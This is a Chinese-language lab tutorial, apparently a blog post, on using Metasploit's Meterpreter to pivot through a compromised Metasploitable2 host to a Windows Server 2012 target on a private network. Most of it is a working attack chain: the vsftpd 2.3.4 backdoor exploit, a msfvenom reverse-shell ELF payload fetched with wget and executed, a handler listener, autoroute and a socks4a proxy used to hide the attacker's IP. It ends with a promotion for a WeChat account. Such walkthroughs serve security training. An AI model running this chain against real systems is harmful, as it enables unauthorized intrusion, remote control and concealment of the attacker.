# Meterpreter以被控制的计算机为跳板渗透其他服务器

攻击机:Kali 192.168.75.10

跳板: Metasploitable2 192.168.75.130

目标机: Windows Server 2012 192.168.75.140

这里无法通过Kali(192.168.75.10)主机直接访问目标机(192.168.75.140),目标机只能通过跳板(192.168.75.130)访问,这里Kali(192.168.75.10)已经成功渗透跳板(192.168.75.130)主机,需要将已渗透主机(192.168.75.130)设置为跳板来访问目标机(192.168.75.140)。

如果直接通过攻击机(192.168.75.10)访问目标机(192.168.75.140),会出现如下错误:

img

这里,跳板(192.168.75.130)拥有连接目标机(192.168.75.140)权限。因此需要一些方法将我们对目标机(192.168.75.140)发起的请求通过跳板(192.168.75.130)转发出去,需要的这种技术方法就是跳板技术。

这里,我们首先要渗透跳板(192.168.75.130)主机。具体步骤如下:

开启MSF

msfconsole
1

# 扫描指定主机的服务和端口

nmap -sV -p 21,22,25,80,110,443,445 192.168.75.130
1

如果要存入MSF的数据库,则:

db_nmap -sV -p 21,22,25,80,110,443,445 192.168.75.130
1

# 列出在目标端口上运行的服务

services
1

# 过滤服务,只显示开启的服务

services -u
1

# 列出数据库中所有的主机

hosts
1

# 漏洞攻击

use exploit/unix/ftp/vsftpd_234_backdoor
show options
set RHOST 192.168.75.130
set RPORT 21
show payloads
set payload cmd/unix/interact
exploit
1
2
3
4
5
6
7

注:所有操作都是在MSF终端下

这里,我们继续将Shell控制升级为Meterpreter命令行。

在攻击机Kali上重新开启一个终端:

# 生成反弹木马

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST 192.168.75.10 LPORT 4444 -f elf > backdoor.elf
1

注:elf是Linux系统下的默认扩展名

# 启动Kali上的Apache服务,并将backdoor.elf放置到服务器中

service apache2 start
mv backdoor.elf /var/www/html/
1
2

这样,就可以让目标系统从我们的计算机中下载这个木马文件了。

# 在目标机上下载木马文件

切换到第6步的终端,执行命令:

wget http://192.168.75.10/backdoor.elf
1

即将木马文件下载到了目标机上

# 在新开启的终端上执行如下命令

msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.75.10
set LPORT 4444
exploit
1
2
3
4
5
6

# 在目标机上运行木马文件

切换到第6步的终端,执行命令:

chmod 7777 backdoor.elf
./backdoor.elf
1
2

# 查看反弹的Meterpreter终端

回到新开启的终端上查看,此时,我们看到已经反弹回Meterpreter命令行了。

接下来,就可以在Meterpreter终端进行操作了。

下面,我们需要执行autoroute脚本,并使用-s将脚本的参数设定为目标主机(192.168.75.140)的IP地址,这样我们就可以在已经被我们渗透的跳板机(192.168.75.130)上添加一条到达目标主机(192.168.75.140)的路由。

# 添加路由

run autoroute -p
run autoroute -s 192.168.75.140
run autoroute -p
1
2
3

以攻击者(192.168.75.10)的角度看,现在需要启动一个可以将请求通过Meterpreter发送给目标的模块。可以选择auxiliary/server/socks4a这个模块。

# 启动监听

在攻击机(192.168.75.10)上执行如下命令:

use auxiliary/server/socks4a
show options
set SRVHOST 127.0.0.1
set SRVPORT 1080
run
1
2
3
4
5

# 配置攻击机(192.168.75.10)/etc/proxychains.conf

添加下面一行配置:

socks4 127.0.0.1 1080
1

img

# 配置Forefox代理

img

再一次打开目标服务器(192.168.75.140)的限制目录下的网页。

img

这里,我们就可以访问了。

接下来,我们访问下目标服务器(192.168.75.140)服务器的IP记录器,如下:

img

可以看到是跳板(192.168.75.130)的IP地址,不管我们对目标服务器(192.168.75.140)做了什么,对目标服务器(192.168.75.140)眼中这一切都是跳板机(192.168.75.130)做的。然而,我们的真实IP确是192.168.75.10。

# 写在最后

如果你觉得冰河写的还不错,请微信搜索并关注「 冰河技术 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 冰河技术 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 冰河技术 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 冰河技术 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!